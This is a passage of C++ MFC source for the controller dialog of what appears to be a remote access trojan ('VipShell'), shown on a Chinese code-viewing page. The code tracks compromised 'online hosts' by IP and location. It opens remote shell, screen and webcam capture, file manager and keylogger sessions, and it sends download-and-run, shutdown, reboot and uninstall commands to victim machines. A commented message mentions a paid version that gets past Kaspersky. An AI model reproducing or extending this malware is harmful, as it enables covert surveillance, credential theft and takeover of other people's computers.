📄 vipclientdlg.cpp
字号:
break;
}
}
tagServerSystemInfo info;
if(!bIsUseing)
{
if(!phServer->GetServerInfo(&info))
{
m_servermap.erase(phServer->GetSocket());
m_ListServer.DeleteItem(dwI);
}
else
m_ListServer.SetItemText(dwI, LIST_HEAD_Career, _GetMakeCareerString(phServer->m_dwCareer));
}
}
std::map<DWORD, DWORD> mapIp;
for(int i = 0; i < m_ListServer.GetItemCount(); i++)
{
CServerConnectHandle* phServer = _GetSelServer(i);
mapIp[phServer->m_dwIp] = phServer->m_dwIp;
}
CString str;
int Selected = 0;
for(int c=0; c<m_ListServer.GetItemCount(); c++)
{
if( m_ListServer.GetItemState(c, LVIS_SELECTED) == LVIS_SELECTED || m_ListServer.GetCheck(c))
{
Selected = Selected + 1;
}//if
}//for_Count
if( Selected >> 0)
{
CString strText; strText.Format(L"上线主机%d台 独立IP:%d个 已选择主机%d台", (int)m_ListServer.GetItemCount(), (int)mapIp.size(), Selected);
m_wndStatusBar.SetWindowText(strText);
}
else
{
CString strText; strText.Format(L"上线主机%d台 独立IP:%d个", (int)m_ListServer.GetItemCount(), (int)mapIp.size());
m_wndStatusBar.SetWindowText(strText);
}
}
void CVipClientDlg::_QueryServerConnect()
{
CServerConnectHandle hServer;
if( m_hServer.GetConnectHandle(&hServer) )
OnServerLink(&hServer);
CServerShellHandle hShell;
if( m_hServer.GetShellHandle(&hShell) )
OnShellLink(&hShell);
CServerScreenInfoHandle hScreen;
if( m_hServer.GetScreenInfoHandle(&hScreen) )
OnScreenLink(&hScreen);
CServerGetCapPictureHandle hCap;
if( m_hServer.GetCapHandle(&hCap) )
OnCapLink(&hCap);
CServerFileManageHandle hFileManage;
if( m_hServer.GetCServerFileManageHandle(&hFileManage) )
OnFileManageLink(&hFileManage);
CServerGetKeyNoHookHandle hKeyLog;
if( m_hServer.GetServerGetKeyNoHookHandle(&hKeyLog) )
OnKeyLogLink(&hKeyLog);
}
int CVipClientDlg::GetSelItem()
{
POSITION posti = m_ListServer.GetFirstSelectedItemPosition();
if(posti == NULL)
return -1;
DWORD dwSel = m_ListServer.GetNextSelectedItem(posti);
return dwSel;
}
CServerConnectHandle* CVipClientDlg::_GetSelServer(DWORD dwItem)
{
int nSel;
if(dwItem == -1)
nSel = GetSelItem();
else
nSel = dwItem;
if(nSel >= m_ListServer.GetItemCount())
return NULL;
if ( nSel != -1)
{
return &m_servermap[m_ListServer.GetItemData(nSel)];
}
return NULL;
}
//Batch
CServerConnectHandle* CVipClientDlg::_GetSelServers(DWORD dwItem)
{
if(dwItem >= m_ListServer.GetItemCount())
return NULL;
if ( dwItem != -1)
{
return &m_servermap[m_ListServer.GetItemData( dwItem )];
}
return NULL;
}
//Batch
void CVipClientDlg::OnKeyLogLink(CServerGetKeyNoHookHandle* hServer)
{
SOCKET s = hServer->Detach();
CreateThread(NULL, 0, ThreadKeyLog, (LPVOID)s, NULL, NULL);
}
void CVipClientDlg::OnFileManageLink(CServerFileManageHandle* hServer)
{
SOCKET s = hServer->Detach();
CreateThread(NULL, 0, ThreadFileManage, (LPVOID)s, NULL, NULL);
}
void CVipClientDlg::OnCapLink(CServerGetCapPictureHandle* hServer)
{
SOCKET s = hServer->Detach();
CreateThread(NULL, 0, ThreadStatrGetCap, (LPVOID)s, NULL, NULL);
}
void CVipClientDlg::OnScreenLink(CServerScreenInfoHandle* hServer)
{
SOCKET s = hServer->Detach();
tagSocketInput* info = new tagSocketInput;
info->sInput = m_ServerInputMap[hServer->GetConnectId()];
info->sScreen = s;
CreateThread(NULL, 0, ThreadStatrScreen, (LPVOID)info, NULL, NULL);
}
void CVipClientDlg::OnShellLink(CServerShellHandle* hServer)
{
SOCKET s = hServer->Detach();
CreateThread(NULL, 0, ThreadStartGetShell, (LPVOID)s, NULL, NULL);
}
void CVipClientDlg::OnServerLink(CServerConnectHandle* hServer)
{
SOCKET s = hServer->Detach();
hServer->Attach(s);
m_servermap[s] = *hServer;
hServer->Detach();
{
CServerConnectHandle* hServer = &m_servermap[s];
tagServerSystemInfo info;
WCHAR szIp[100] =L"";
DWORD dwPort = hServer->GetPeer(szIp);
CString strS; strS.Format(L"%s:%d", szIp, dwPort);
hServer->m_strAddr = szIp;
hServer->GetPeer(hServer->m_dwIp);
int nCount = m_ListServer.GetItemCount();
hServer->GetServerInfoAtThis(&info);
int nImg = 0;
if(info.bIsCanCap)
nImg = 1;
int nRet = m_ListServer.InsertItem(nCount, strS, nImg);
CString strVer = _GetServerEditionString(info.dwMajorVersion, info.dwMinorVersion, info.dwPlatformId);
CString strExplain; strExplain.Format(_T("%s@%s"), info.szExplain, info.szName);
m_ListServer.SetItemText(nRet, LIST_HEAD_Explain, strExplain);
m_ListServer.SetItemText(nRet, LIST_HEAD_Version, info.szVersion);
m_ListServer.SetItemText(nRet, LIST_HEAD_Sysver, strVer);
m_ListServer.SetItemText(nRet, LIST_HEAD_Memory, _GetMemoryString(info.dwMemory));
m_ListServer.SetItemText(nRet, LIST_HEAD_Cpu, _GetCpuString(info.dwCpuSpeed));
m_ListServer.SetItemText(nRet, LIST_HEAD_Area, m_QQwry.IP2Add(hServer->m_strAddr.c_str()));
m_ListServer.SetItemText(nRet, LIST_HEAD_Career, _GetMakeCareerString(hServer->m_dwCareer));
m_ListServer.SetItemData(nRet, s);
}
// m_ListServer.
}
void CVipClientDlg::OnTimer(UINT nIDEvent)
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
if(0x1 == nIDEvent)
//_QueryServerConnect();
ThreadTemplate::StartThread< CVipClientDlg, void >( this, _QueryServerConnect );
if(0x2 == nIDEvent)
//_CheckServerConnect();
ThreadTemplate::StartThread< CVipClientDlg, void >( this, _CheckServerConnect );
CDialog::OnTimer(nIDEvent);
}
void CVipClientDlg::OnCancel()
{
// TODO: 在此添加专用代码和/或调用基类
ShowWindow(SW_HIDE);
//m_hServer.Close();
ThreadTemplate::StartThread< CVipClientDlg, void >( this, CloseConnection );
Sleep(50);
CDialog::OnCancel();
ExitProcess(0);
}
void CVipClientDlg::CloseConnection()
{
m_hServer.Close();
}
void CVipClientDlg::OnBnClickedButtonGetscreen_Thread()
{
ThreadTemplate::StartThread< CVipClientDlg, void >( this, OnBnClickedButtonGetscreen );
}
void CVipClientDlg::OnBnClickedButtonGetscreen()
{
// TODO: 在此添加控件通知处理程序代码
CServerConnectHandle* hServer = _GetSelServer();
if(hServer != NULL)
{
int nRet = hServer->GetScreenInput();
if(nRet == -1)
{
MessageBox(L"远程主机没有响应");
}
else
{
m_ServerInputMap[nRet] = hServer->GetSocket();
}
}
}
void CVipClientDlg::OnBnClickedButtonGetshell_Thread()
{
ThreadTemplate::StartThread< CVipClientDlg, void >( this, OnBnClickedButtonGetshell );
}
void CVipClientDlg::OnBnClickedButtonGetshell()
{
// TODO: 在此添加控件通知处理程序代码
CServerConnectHandle* hServer = _GetSelServer();
if(hServer != NULL)
{
//int Confirm = MessageBox(L"注意:启动远程终端,可能会引起服务端计算机上 卡巴斯基 安全软件的防护警告。您确定要继续么?在这个版本中,我们不提供穿透 卡巴斯基 安全软件 的远程终端服务。如有需要,请联系购买高级版本。", L"远程终端",MB_ICONQUESTION|MB_OKCANCEL)==IDOK;
//if( Confirm == IDOK )
//{//
{
bool bRet = hServer->GetShell();
if(!bRet)
{
MessageBox(L"远程主机没有响应");
}
}
//}//GetshellConfirm
}//hServer != NULL
}
void CVipClientDlg::OnBnClickedOk()
{
// TODO: 在此添加控件通知处理程序代码
OnOK();
}
void CVipClientDlg::OnBnClickedButtonGetcap_Thread()
{
ThreadTemplate::StartThread< CVipClientDlg, void >( this, OnBnClickedButtonGetcap );
}
void CVipClientDlg::OnBnClickedButtonGetcap()
{
// TODO: 在此添加控件通知处理程序代码
CServerConnectHandle* hServer = _GetSelServer();
if(hServer != NULL)
{
bool bRet = hServer->GetCap();
if(!bRet)
{
MessageBox(L"远程主机没有响应");
}
}
}
void CVipClientDlg::OnBnClickedButtonFilemanage_Thread()
{
ThreadTemplate::StartThread< CVipClientDlg, void >( this, OnBnClickedButtonFilemanage );
}
void CVipClientDlg::OnBnClickedButtonFilemanage()
{
// TODO: 在此添加控件通知处理程序代码
CServerConnectHandle* hServer = _GetSelServer();
if(hServer != NULL)
{
bool bRet = hServer->GetFileManage();
if(!bRet)
{
MessageBox(L"远程主机没有响应");
}
}
}
void CVipClientDlg::OnBnClickedButtonProcessList_Thread()
{
ThreadTemplate::StartThread< CVipClientDlg, void >( this, OnBnClickedButtonProcessList );
}
void CVipClientDlg::OnBnClickedButtonProcessList()
{
// TODO: 在此添加控件通知处理程序代码
CServerConnectHandle* hServer = _GetSelServer();
if(hServer != NULL)
{
std::vector<tagVipShellProcess> pVecTor;
DWORD dwRet = hServer->GetProcessList(&pVecTor);
if(dwRet == 0 || dwRet == -1)
{
MessageBox(L"远程主机没有响应");
return ;
}
CProcessListDlg dlg;
dlg.BindSocket(hServer->GetSocket());
dlg.m_pVecTor = &pVecTor;
dlg.DoModal();
}
}
void CVipClientDlg::OnBnClickedButtonGetKeyLog_Thread()
{
ThreadTemplate::StartThread< CVipClientDlg, void >( this, OnBnClickedButtonGetKeyLog );
}
void CVipClientDlg::OnBnClickedButtonGetKeyLog()
{
// TODO: 在此添加控件通知处理程序代码
CServerConnectHandle* hServer = _GetSelServer();
if(hServer != NULL)
{
bool bRet = hServer->GetServerKeyLog();
if(!bRet)
{
MessageBox(L"远程主机没有响应");
}
}
}
void CVipClientDlg::OnNMRclickListServer(NMHDR *pNMHDR, LRESULT *pResult)
{
// TODO: 在此添加控件通知处理程序代码
*pResult = 0;
//显示菜单
CMenu menu;
if (menu.LoadMenu(IDR_MENU_VIPSHELLDLG))
{
CMenu* pSubMenu = menu.GetSubMenu(0);
if (pSubMenu)
{
CPoint mouse;
GetCursorPos(&mouse);
// ::SetForegroundWindow(m_nid.hWnd);
::TrackPopupMenu(pSubMenu->m_hMenu, 0, mouse.x, mouse.y, 0,
m_hWnd, NULL);
}
}
}
void CVipClientDlg::OnBnClickedVipshellExplain_Thread()
{
ThreadTemplate::StartThread< CVipClientDlg, void >( this, OnBnClickedVipshellExplain );
}
void CVipClientDlg::OnBnClickedVipshellExplain()
{
CServerConnectHandle* hServer = _GetSelServer();
if(hServer != NULL)
{
CInputDlg input(this, L"修改注释", L"ByShell");
if(input.DoModal() != IDOK)
return ;
bool bRet = hServer->SetServerExplain(input.m_strText);
if(!bRet)
{
MessageBox(L"远程主机没有响应");
}
else
{
DWORD nSel = GetSelItem();
m_ListServer.SetItemText(nSel, 1, input.m_strText);
}
}
}
void CVipClientDlg::OnBnClickedVipshellDownfile_Thread()
{
ThreadTemplate::StartThread< CVipClientDlg, void >( this, OnBnClickedVipshellDownfile );
}
void CVipClientDlg::OnBnClickedVipshellDownfile()
{
CServerConnectHandle* hServer = _GetSelServer();
if(hServer != NULL)
{
CInputDlg input(this, L"下载文件", L"http://www.xxx.com/xxx.exe");
if(input.DoModal() != IDOK)
return ;
input.m_strText.Replace(L"\\", L"/");
bool bRet = hServer->DownFileAndRun(input.m_strText);
if(!bRet)
{
MessageBox(L"远程主机没有响应");
}
}
}
void CVipClientDlg::OnBnClickedVipshellShutdown_Thread()
{
ThreadTemplate::StartThread< CVipClientDlg, void >( this, OnBnClickedVipshellShutdown );
}
void CVipClientDlg::OnBnClickedVipshellShutdown()
{
CServerConnectHandle* hServer = _GetSelServer();
if(hServer != NULL)
{
bool bRet = hServer->ShutdownServer();
if(!bRet)
{
MessageBox(L"远程主机没有响应");
}
}
}
void CVipClientDlg::OnBnClickedVipshellReboot_Thread()
{
ThreadTemplate::StartThread< CVipClientDlg, void >( this, OnBnClickedVipshellReboot );
}
void CVipClientDlg::OnBnClickedVipshellReboot()
{
CServerConnectHandle* hServer = _GetSelServer();
if(hServer != NULL)
{
bool bRet = hServer->RebootServer();
if(!bRet)
{
MessageBox(L"远程主机没有响应");
}
}
}
void CVipClientDlg::OnBnClickedVipshellRemove_Thread()
{
ThreadTemplate::StartThread< CVipClientDlg, void >( this, OnBnClickedVipshellRemove );
}
void CVipClientDlg::OnBnClickedVipshellRemove()
{
CServerConnectHandle* hServer = _GetSelServer();
if(hServer != NULL)
{
int RemoveConfirm = MessageBox(L"您确定要卸载么?相关文件将在重新启动后自动删除。注意:远程服务端将在命令发出后5秒自动关闭工作线程。", L"卸载远程主机服务端",MB_ICONQUESTION|MB_OKCANCEL)==IDOK;
if( RemoveConfirm == IDOK )
{//ID_OK
bool bRet = hServer->RemoveServer();
if(!bRet)
{
MessageBox(L"远程主机没有响应");
}
else
{
DWORD nSel = GetSelItem();
//m_ListServer.SetItemText(nSel, 1, L"服务端已经成功卸载,稍后将自动断开与客户端的连接");
m_ListServer.DeleteItem(nSel);
}
}//ID_OK
}
}
void CVipClientDlg::OnBnClickedVipshellDelete_Thread()
{
ThreadTemplate::StartThread< CVipClientDlg, void >( this, OnBnClickedVipshellDelete );
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -